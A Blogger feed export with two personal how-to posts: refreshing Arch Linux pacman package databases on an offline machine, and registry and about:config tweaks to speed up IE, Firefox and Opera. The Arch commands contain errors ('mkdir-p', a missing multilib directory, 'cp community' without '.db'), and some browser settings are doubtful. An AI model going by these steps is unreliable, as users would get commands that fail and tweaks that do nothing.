</li>
<li> <a class="external free" href="ftp://ftp.archlinux.org/core/os/x86_64/core.db" rel="nofollow">ftp://ftp.archlinux.org/core/os/x86_64/core.db</a>
</li>
<li> <a class="external free" href="ftp://ftp.archlinux.org/extra/os/x86_64/extra.db.tar.gz" rel="nofollow">ftp://ftp.archlinux.org/extra/os/x86_64/extra.db.tar.gz</a>
</li>
<li> <a class="external free" href="ftp://ftp.archlinux.org/extra/os/x86_64/extra.db" rel="nofollow">ftp://ftp.archlinux.org/extra/os/x86_64/extra.db</a>
</li>
<li> <a class="external free" href="ftp://ftp.archlinux.org/community/os/x86_64/community.db.tar.gz" rel="nofollow">ftp://ftp.archlinux.org/community/os/x86_64/community.db.tar.gz</a>
</li>
<li> <a class="external free" href="ftp://ftp.archlinux.org/community/os/x86_64/community.db" rel="nofollow">ftp://ftp.archlinux.org/community/os/x86_64/community.db</a>
</li>
<li> <a class="external free" href="ftp://ftp.archlinux.org/multilib/os/x86_64/multilib.db.tar.gz" rel="nofollow">ftp://ftp.archlinux.org/multilib/os/x86_64/multilib.db.tar.gz</a>
</li>
<li> <a class="external free" href="ftp://ftp.archlinux.org/multilib/os/x86_64/multilib.db" rel="nofollow">ftp://ftp.archlinux.org/multilib/os/x86_64/multilib.db</a> </li>
</ul>
Or do this step to keep up-to-date your Arch Linux with the current database collection.(Internet Connection required)<br />
Type this command in your terminal:<br />
<b style="font-family: Times,"Times New Roman",serif;">pacman -Sy</b><br />
<br />
Then, do this in your non-Internet Connected Arch Linux computer in root mode, type:<br />
<br />
<pre style="font-family: "Courier New",Courier,monospace;"><b>mkdir-p /var/lib/pacman/sync/{core,extra,community}
rm -r /var/lib/pacman/sync/{core,extra,community}/*
tar -xzf core.db.tar.gz -C /var/lib/pacman/sync/core
tar -xzf extra.db.tar.gz -C /var/lib/pacman/sync/extra
tar -xzf community.db.tar.gz -C /var/lib/pacman/sync/community
tar -xzf multilib.db.tar.gz -C /var/lib/pacman/sync/multilib
rm -r /var/lib/pacman/sync/*.db
cp core.db /var/lib/pacman/sync/
cp extra.db /var/lib/pacman/sync/
cp community /var/lib/pacman/sync/</b></pre>
<pre style="font-family: "Courier New",Courier,monospace;"><b> </b></pre>
<pre style="font-family: "Courier New",Courier,monospace;"><span style="font-family: Times, 'Times New Roman', serif;">then add the package into the package list,type:</span></pre>
<pre style="font-family: "Courier New",Courier,monospace;"><b>pacman -Sp --noconfirm package-name > pkglist</b><span style="font-family: Times, 'Times New Roman', serif;"> </span></pre>
<pre style="font-family: "Courier New",Courier,monospace;"><span style="font-family: Times, 'Times New Roman', serif;">
</span></pre>
<blockquote>
<pre style="font-family: "Courier New",Courier,monospace;"><b>Tip: </b>Be aware you have enabled at least one of the
servers defined in the /etc/pacman.d/mirrorlist file. Otherwise all what you get is a misleading error message: </pre>
</blockquote>
<blockquote>
<b>error: no database for package: package-name</b></blockquote>
<br />
<br />
<span style="font-size: small;">to update the New Arch Linux base system after installation,type:</span><br />
<pre style="font-family: "Courier New",Courier,monospace;"><b>pacman -Sup --noconfirm > pkglist</b></pre>
<pre style="font-family: "Courier New",Courier,monospace;"><b> </b></pre>
<pre style="font-family: "Courier New",Courier,monospace;"><span style="font-family: Times, 'Times New Roman', serif;">Now open that textfile with an editor and delete all lines that are not URLs.
Next, bring that list with you to a place where you have internet and either download the listed packages manually or do</span><b>:</b></pre>
<pre style="font-family: "Courier New",Courier,monospace;"><b><span style="font-family: 'Courier New', Courier, monospace;">wget -nv -i ../pkglist</span></b></pre>
<pre style="font-family: "Courier New",Courier,monospace;"><b><span style="font-family: 'Courier New', Courier, monospace;"> </span></b></pre>
<pre style="font-family: "Courier New",Courier,monospace;"><b><span style="font-family: 'Courier New', Courier, monospace;">----</span></b></pre>
<pre style="font-family: "Courier New",Courier,monospace;"><span style="font-family: 'Courier New', Courier, monospace;"><span style="font-size: small;"><span style="font-family: Times, 'Times New Roman', serif;">The simplest way to install an already downloaded Arch package is:</span></span></span></pre>
<pre style="font-family: "Courier New",Courier,monospace;"><span style="font-family: 'Courier New', Courier, monospace;"><span style="font-size: small;"><span style="font-family: Times, 'Times New Roman', serif;"><b><span style="font-family: 'Courier New', Courier, monospace;">Pacman -U /path/to/file</span></b> </span></span></span><b><span style="font-family: 'Courier New', Courier, monospace;"> </span></b></pre>
<pre style="font-family: "Courier New",Courier,monospace;"><b>
</b></pre>
<pre style="font-family: "Courier New",Courier,monospace;"><b>Example: pacman -U /home/hxr99/bash.pkg.tar.xz</b></pre>
<pre style="font-family: "Courier New",Courier,monospace;"><b>
</b></pre>
That's all folks, I hope this tutorial will help you.<br />
It's just for educational purpose only.<br />
The author is not responsible for any misuse or damage caused by this tutorial.<br />
Thank you for visiting my blog.<br />
<br />
<pre style="font-family: "Courier New",Courier,monospace;"><b><span style="font-family: 'Courier New', Courier, monospace;"> </span></b></pre>
<span style="font-size: small;"></span>Agung Mega Iswarahttp://www.blogger.com/profile/11781550668334702413noreply@blogger.com3tag:blogger.com,1999:blog-5921365435249055889.post-65935210368631166732011-09-02T22:56:00.000+07:002011-12-21T00:10:06.701+07:00How to increase your Browser (IE, Firefox, and Opera) speed?<div class="separator" style="clear: both; text-align: center;">
</div>
<b>Let's Start Hacking</b><br />
<u>Microsoft Internet Explorer Optimization</u><br />
<ol>
<li>Go to "Start" and click on "Run"</li>
<li>Enter "regedit" and hit "Ok" and now the Registry Editor will open<a name='more'></a></li>
<li>Expand "HKEY_CURRENT_USER"</li>
<li>Expand <i>Software, Microsoft, Windows, Current Version</i></li>
<li>Click on <i>Internet Settings</i></li>
<li><b>MaxConnectionPer1_0Server</b> and <b>MaxConnectionPerServer</b> indicates the maximum number of connections per page</li>
<li>Double click on one of these registries to change it. Set the radio button to <b>DECIMAL</b> and increase the values from default to a higher value, for example 10. Do the same with the other registry. (see fig. IE Optimized Registry)</li>
</ol>
<table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"><tbody>
<tr><td style="text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh_KqxaiJ1QyNw8jXDTVfwISo4OGeVJspVEDLW_nf4Ol0PZDV3d-0eSJu4tPBFpqx3C9FaYd17X2PM8TmsZH08R5YJymqjp2peguota0IDVmzpNXrG4Uoy3REuMnlZcDRyQG07DiQZ-5Lc/s1600/IEReg.PNG" imageanchor="1" style="margin-left: auto; margin-right: auto;"><img border="0" height="225" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh_KqxaiJ1QyNw8jXDTVfwISo4OGeVJspVEDLW_nf4Ol0PZDV3d-0eSJu4tPBFpqx3C9FaYd17X2PM8TmsZH08R5YJymqjp2peguota0IDVmzpNXrG4Uoy3REuMnlZcDRyQG07DiQZ-5Lc/s400/IEReg.PNG" width="400" /></a></td></tr>
<tr><td class="tr-caption" style="text-align: center;">fig. IE Optimized Registry</td></tr>
</tbody></table>
<br />
<br />
<u>Mozilla FireFox Optimization</u><br />
<div class="separator" style="clear: both; text-align: center;">
</div>
<ol>
<li>Start Firefox and type: <b>about:config</b> in the address bar and hit "Enter".</li>
<li>Type: <b>network.http.</b> in the Filter search bar on top.</li>
<li>Double click on the <b>network.http.pipelining</b> string to change its value to <b>true</b>.<br />
<i>If you use a proxy, set <b>network.http.proxy.pipelining</b> to true as well.</i></li>
<li>Double click on the <b>network.http.pipelining.maxrequests</b> string to change its interger value to <b>32</b>.</li>
<li>Double click on the <b>network.http.max-connections-per-server</b>, change the value to<b> 32</b>.</li>
<li>Double click on the<b> network.http.max-persistent-connections-per-server</b>, change the value to <b>32</b>.</li>
<li>Make a new value by right clicking anywhere in the Configuration screen, choose new -> integer, then a new dialog box appear, type <b>nglayout.initialpaint.delay</b>, click Ok, then type <b>0</b> for the value.</li>
<li>Right click anywhere on the Configuration screen and select "New" and then "Boolean". </li>
<li>Enter <b>browser.turbo.enabled</b> as the new Boolean name and click "Ok". Now set the value of the Boolean to <b>true</b>. (see fig. Firefox Optimized)</li>
</ol>
<br />
<table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"><tbody>
<tr><td style="text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjUKwbIW8q27d5nRUP0sJm-IPXQuCYDOwaAiCNzSSyv1w8R7-AXbC9wK3nh_OU_QiIJ08Gfw0uVcQW-Hqbv7f7OS3ijh9Vv14cTrPt0McUxpJOZ3JSxi122WYUBfegBiGA9keg5f4mnGsE/s1600/firefox.PNG" imageanchor="1" style="margin-left: auto; margin-right: auto;"><img border="0" height="225" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjUKwbIW8q27d5nRUP0sJm-IPXQuCYDOwaAiCNzSSyv1w8R7-AXbC9wK3nh_OU_QiIJ08Gfw0uVcQW-Hqbv7f7OS3ijh9Vv14cTrPt0McUxpJOZ3JSxi122WYUBfegBiGA9keg5f4mnGsE/s400/firefox.PNG" width="400" /></a></td></tr>
<tr><td class="tr-caption" style="text-align: center;">fig. Firefox Optimized</td></tr>
</tbody></table>
<br />
<u>Opera Browser Optimization</u><br />
<ol>
<li> Open the opera Browser</li>
<li>
Type about:config in the address bar</li>
<li>In the search field, type connection</li>
<li>
Change the value of Max Connections Total from the default 16 to any number from </li>
<li>32 to 65 (Depends on your connection speed). </li>
<li>
Keep the Max Connections Server as the default</li>
<li>
After making these changes, click save then restart your browser (see fig. Opera Browser Optimized)</li>
<li>Enable the Opera Turbo Feature. (go to Tools -> Preference, select Web Pages Tab, then Turn on Opera Turbo) </li>
</ol>
<table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"><tbody>
<tr><td style="text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhpvMNn0D7iELLxWnyHMM9suckmbbKg01vOKzmaG25dwpDzyQ_IrR-4v76K4NmiokKy4CgQQHhQTO9DjtRmVYoAwNTRe2BymZTcQiRlA3OJSpF9wPu8AB1xronjXDZENYsu65ZhqeO2aChu/s400/operapref.JPG" imageanchor="1" style="margin-left: auto; margin-right: auto;"><img border="0" height="293" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhpvMNn0D7iELLxWnyHMM9suckmbbKg01vOKzmaG25dwpDzyQ_IrR-4v76K4NmiokKy4CgQQHhQTO9DjtRmVYoAwNTRe2BymZTcQiRlA3OJSpF9wPu8AB1xronjXDZENYsu65ZhqeO2aChu/s400/operapref.JPG" style="cursor: move;" width="400" /></a></td></tr>
<tr><td class="tr-caption" style="text-align: center;">fig. Opera Browser Optimized</td></tr>
</tbody></table>
<br />
That's all folks, I hope this tutorial will help you increase the browsing speed of the them.<br />
Happy browsing.<br />
Thank you for visiting my blog.<br />
<br />
<br />
<table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"><tbody>
<tr><td class="tr-caption" style="text-align: center;"><br /></td><td class="tr-caption" style="text-align: center;"><br /></td></tr>
</tbody></table>Agung Mega Iswarahttp://www.blogger.com/profile/11781550668334702413noreply@blogger.com2